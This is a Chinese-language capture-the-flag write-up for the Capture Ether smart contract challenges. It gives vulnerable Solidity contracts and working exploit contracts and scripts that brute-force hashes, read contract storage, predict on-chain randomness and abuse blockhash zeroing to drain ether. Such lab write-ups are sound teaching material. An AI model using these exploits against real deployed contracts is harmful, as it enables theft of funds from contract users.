# Guess the secret number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}

题外话 这里是低版本的构造函数 需要创建的时候就打一个 ether

8 位的 keccak
爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.21;

contract solution{
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
uint public x;
function answer() public returns(uint8){
for(uint8 i = 0 ; i < 2**8 ; i++){
if(keccak256(i) == answerHash)
{
x = i;
return i;
}
}
return 2**8-1;
}
}

# Guess the random number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
uint8 answer;

function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

这个合约有点老了
In short  now  is just an alias for  block.timestamp
如果在 remix 上部署需要改一下 block.number - 1 不然会 pending
block.blockhash()  is now  blockhash()  and  now  is  block.timestamp . We’ll see this further on.

timestamp 和 block 信息都在区块链探索器上可见


timestamp Epoch Converter - Unix Timestamp Converter
我想用 interface 与合约交互 结果失败了(不知道原因
Capture Ether: Guess the Random Number on a Smart Contract | by Tomás | Better Programming

所以还是手撸
直接读取 Storage 不香吗 (也可以写个 solidity 的 exp 用 interface 来交互)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const ethers = require('ethers')
const fs = require('fs-extra')
require('dotenv').config()

var Web3 = require('web3')
var web3 = new Web3("your_rpc_url")
contractAddr = "your_contract_addr"

const cl = x => console.log(x)
function padding(x) {
x = x.toString()
var s = "0x"
for(var i = 0; i < (64 - x.length); i++) {
s += "0"
}
s += x
return s
}
async function getSlot(idx){
let ret = await web3.eth.getStorageAt(contractAddr, idx)
return ret
}
async function getShaIdx(idx){
let ret = await web3.utils.sha3(padding(idx))
return ret
}

async function main(){
cl(await getSlot(0))

}

main()
.then(() => process.exit(0))
.catch((err) => {
console.log(err),
process.exit(1)
})

# Guess the new number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

没法在内存看了 只能嗯计算
关于 now 关键字 documentation
就是 timestamp

根据 upon 大佬提醒 blockhash 只在 256 个块之内生效 所以两个块的布置不能间隔太久
否则 blockhash 就会返回 0
而且 blockhash 是计算块 hash 如果本地的链没那么长是没法计算的

如果我们可以在生成第二个区块钱同时执行 exp 合约和目标合约 那么结果也是一样的
因为 answer 是调用时才生成
直接写个 sol 交互

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.8.0;

interface Challenge {
function guess(uint8 n) external payable;
}

contract exp{
Challenge public cha;
constructor(address addr){
cha = Challenge(addr);
}
function solve() public payable{
uint8 ans = uint8(uint256(keccak256(abi.encodePacked(
blockhash(block.number - 1), block.timestamp
))));
cha.guess{value: 1 ether}(ans);
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable{}
}

注意 一定要将此合约的钱转出
payable(msg.sender).transfer(address(this).balance);
另外一定要有 receive 函数 (没 function ) 来确保有钱转入

# Predict the future

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;

function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

也就是我们先要用 lockInGuess 设置 guess 值
然后等待 block 增加了 用之前写入的去预测到增加后的块数

但是之后的块数和时间都是可以预测的 并且只有十种可能性
也就是我们可以等到 answer 满足我们的 guess 的时候再调用 settle

注意 如果出现 # Transaction mined but execution failed
一定要改 matemask 的 gas limit
不然查 txn 会查出 gas 超了

这个是借助中介合约一个个试 如果成功了就才调用 solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.4.21;
import "./challenge.sol";


contract exp{
address owner;
PredictTheFutureChallenge public cha;
uint8 public n;
bool public success;
uint8 public answer;
function exp(address addr) public {
owner = msg.sender;
cha = PredictTheFutureChallenge(addr);
}
function lockNumber(uint8 _n) public payable{
require(msg.value == 1 ether);
require(_n <= 9 && _n >= 0);
n = _n;
cha.lockInGuess.value(msg.value)(_n);
}
function transfer() external payable {
address(this).transfer(msg.value);
}
function solve() public payable{
answer = uint8(uint256(keccak256(
abi.encodePacked(
block.blockhash(block.number - 1), now
)
))) % 10 ;
if(answer == n){
success = true;
cha.settle();
// require(cha.isComplete(), "Wrong answer");
}
}
function withdraw() external payable{
require(msg.sender == owner);
owner.transfer(address(this).balance);
}
function() public payable {}
// receive external payable{}
}

# Predict the block hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;

function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

bytes32 answer = block.blockhash(settlementBlockNumber);

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

这个就是我们需要提前预测 block + 1 的 hash
但是难点是我们调用库 hash 是没法 hash 出下一块 block 的 hash 的

The block hashes are not available for all blocks for scalability reasons.
You can only access the hashes of the most recent 256 blocks, all other values will be zero.

但是由于这个清零特性和块数和 hash 是异步分时的
只需要等 256 个块挖完了(15s 一个)之前猜个 0 即可